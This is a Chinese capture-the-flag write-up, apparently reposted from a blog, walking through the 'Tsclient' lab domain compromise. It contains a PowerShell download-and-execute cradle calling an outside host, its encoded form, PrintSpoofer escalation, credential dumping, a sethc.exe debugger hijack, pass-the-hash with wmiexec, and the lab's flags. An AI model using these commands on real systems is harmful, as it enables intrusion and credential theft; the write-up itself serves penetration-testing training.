春秋云镜-Tsclient-Writeup

靶标介绍

Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。

刚开始给了我们个目标IP 我们直接上fscan进行扫描

fscan -h 4x.xx.xxx.xxx

发现存在有

发现存在mssql弱密码
使用impacket工具包内的mssqlclient进行攻击

impacket-mssqlclient sa:'1qaz!QAZ'@4x.xx.xxx.xxx  -port 1433


这个时候我们利用Cobalt_Strike执行powershell上线,这样更快更直接
监听器->生成监听
然后再web钓鱼下选择web投递即可


确定之后我们会获得一句话

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://175.xx.xx.xx:80/aaaa'))"

我们可以直接去执行,但是会发生报错,因为存在引号的缘故,需要先找个网站编码下

比如
https://r0yanx.com/tools/java_exec_encode/
在编码之后就没有引号了

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwA1AC4AeAB4AC4AeAB4AC4AeAB4ADoAOAAwAC8AYQBhAGEAYQAnACkAKQAiAA==

xp_cmdshell 执行之后即可上线

为防止权限丢失,我们可以先进行维权
新建会话,获取一个新的shell
接下来开始进行主机信息收集

获取到网卡信息,上传fscan进行内网扫描

upload C:\tmp\fscan.exe (C:\Users\public\fscan.exe)


上传到C:\users\public\ 下

shell fscan.exe -h 172.22.8.18/24
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.46     is alive
(icmp) Target 172.22.8.18     is alive
[*] Icmp alive hosts len is: 4
172.22.8.18:1433 open
172.22.8.18:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:445 open
172.22.8.46:139 open
172.22.8.18:139 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.31:135 open
172.22.8.46:135 open
172.22.8.18:135 open
172.22.8.15:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
172.22.8.31:3389 open
172.22.8.15:3389 open
172.22.8.46:3389 open
172.22.8.18:3389 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[+] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[+] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:c4e:1319:d89d:8745
[+] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] 172.22.8.31          XIAORANG\WIN19-CLIENT      
[*] 172.22.8.15    [+]DC XIAORANG\DC01              
[+] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] 172.22.8.46          XIAORANG\WIN2016           Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server

在扫描完成之后我们分析发现
他的内网其他主机全是Windows
并且另外三台全在域内
这个时候就要想办法打入域内了
先进行提权利用PrintSpoofer
项目地址:https://github.com/itm4n/PrintSpoofer
下载下来上传

shell C:\users\public\PrintSpoofer64.exe  -i -c "whoami"
然后在powershell一句话上线获得system


回连的很快

payload 用之前生成的即可
shell C:\users\public\PrintSpoofer64.exe  -i -c "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAIgBJAEUAWAAgACgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwA1AC4AeAB4AC4AeAB4AC4AeAB4ADoAOAAwAC8AYQBhAGEAYQAnACkAKQAiAA=="

logonpasswords

可获得一个域用户hash

在我进行很久的主机信息收集之后终于在一处连接出发现了突破口

在我们查看3389的连接状况时发现内网有其他主机也连接了我们本台主机的3389
这是很值得思考的一个地方,进入system权限查看当前的用户,会发现有个会话在连接本主机,这个query user 在mssql权限下是开不见的,所以容易走弯路

在进一步的了解之后我发现这里可能存在着一个Windows RDP反打的操作
主要是因为对方在远程我们的时候把他的C盘也一同挂载了过来
让我们能够有机会操作对方的文件 后期其他的反打利用也是基于这个基础的
这里由于我们不能让对面那台主机重启
所以我们不能通过写启动项的方式让他上线
但我们在对方的C盘发现了一个用户以及提示的信息
接下来就是进一步的操作
这里先把权限切换到John用户

net user john
用户名                 John
全名                   
注释                   
用户的注释             
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不

上次设置密码           2022/7/11 15:56:37
密码到期               从不
密码可更改             2022/7/11 15:56:37
需要密码               Yes
用户可以更改密码       Yes

允许的工作站           All
登录脚本               
用户配置文件           
主目录                 
上次登录               2023/7/12 10:01:37

可允许的登录小时数     All

本地组成员             *Administrators       *Remote Desktop Users 
                       *Users                
全局组成员             *None                 
命令成功完成。

这里很明显要我们用这个因为又是远程组又是管理员组
远程桌面挂载的磁盘是在\\tsclient\这个下面
在查看之前我们还需要把权限切换为John因为对方远程登录的是这个桌面
这里切忌一定不要远程上去你一旦远程上去 对方的连接就会断开 他的C盘也会断开
所以你收集不到他的磁盘信息了
迁移到John的进程上去
ps查看以后迁移
获得一个john用户的会话

就可以用John用户去查看他C盘下的文件了

07/12 11:19:51 beacon> shell type "\\tsclient\C\credential.txt"
07/12 11:19:51 [*] Tasked beacon to run: type "\\tsclient\C\credential.txt"
07/12 11:19:51 [+] host called home, sent: 65 bytes
07/12 11:19:51 [+] received output:
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

接下来我们就可以搭建代理远程上去了
利用cs socks4a代理

socks 8886


利用proxifier连接 协议是socks version 4

这个账号在打的时候很难用你在用于远程登录的时候显示因为密码已过期...

最好用Kalirdesktop能远程登录上去并且修改密码

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'

这个时候就可以修改密码并且登录了

修改完成之后进去系统桌面
在配置好Windows的代理之后用mstsc.exe远程过去

这里我又用回了Windows的远程桌面(刚开始不用是因为Windows的远程桌面不让修改密码 现在用是因为kali的很卡)

到这里就成功的进去域内了
到这里就要进一步的进行信息收集

在用BloodHound进行域内信息收集之后发现本台Windows2016 机器账户在Domain adminis组里面
这就意味着在本机提权过后我们通过抓取 机器账户的hash就能直接远程登录域控
到这里我们目的就明确了
就是要提Windows 2016的权限

我们通过结合之前给的提示就会知道这里可以用到映像劫持来进行提权
传统“映像劫持”,当用户双击对应的程序后,操作系统就会给外壳程序(例如”explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的”dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到”劫持”的虚假程序。简单点说,当你打开的是程序A,而运行的却是程序B

大家一定都知道映像劫持后门,在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

我通过这一条命令来进行我们的插入我们的恶意程序
这里我选择劫持粘滞键(sethc.exe)来进行间接的提权

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"


注册表编辑完成之后我们就可以shift五下打开cmd.exe

这里虽然打开了但是他依旧是域用户的权限

proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab

这里我们可以想到利用rdesktop来在登录界面触发system权限的sethc.exe来达到提权的目的

成功!!!
因为他是不出网的,所以选择用入口主机作为跳板横向连接
生成 bind 监听

然后在生成stageless

然后远程桌面复制上去

运行之后连接

运行exe的时候一定要加个start 否则很容易掉
 connect 172.22.8.46 4444
 

运行之后就成功的获得了system权限

上线成功之后我就抓取WIN2016$机器账户的hash

	 [00000003] Primary
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * NTLM     : b0ea95b3d471c442e0c10e7a67893dbf
	 * SHA1     : d6cbff6b31735bbd45a57152d349644791b3f924
	tspkg :	
	wdigest :	
	 * Username : WIN2016$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : WIN2016$
	 * Domain   : xiaorang.lab

拿到WIN2016$ hash之后这里我们可以直接利用impacket工具包中的wmiexec在域控中命令执行了

$ impacket-wmiexec  XIAORANG.LAB/WIN2016\[email protected] -hashes :b0ea95b3d471c442e0c10e7a67893dbf
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
DC01

接下来就是获取flag
位于入口靶机MSSQLSERVER

flag01: flag{b277e4c6-47b2-4e11-aa0a-51c90c410a65}

位于 Win2016

flag02: flag{f10b52ef-cb9b-47f8-9bad-c32571b588a1}

位于DC上

flag03: flag{f0f302c3-b9a4-4151-85e0-244b2ecdd795}

猜你喜欢

转载自blog.csdn.net/qq_35607078/article/details/131678825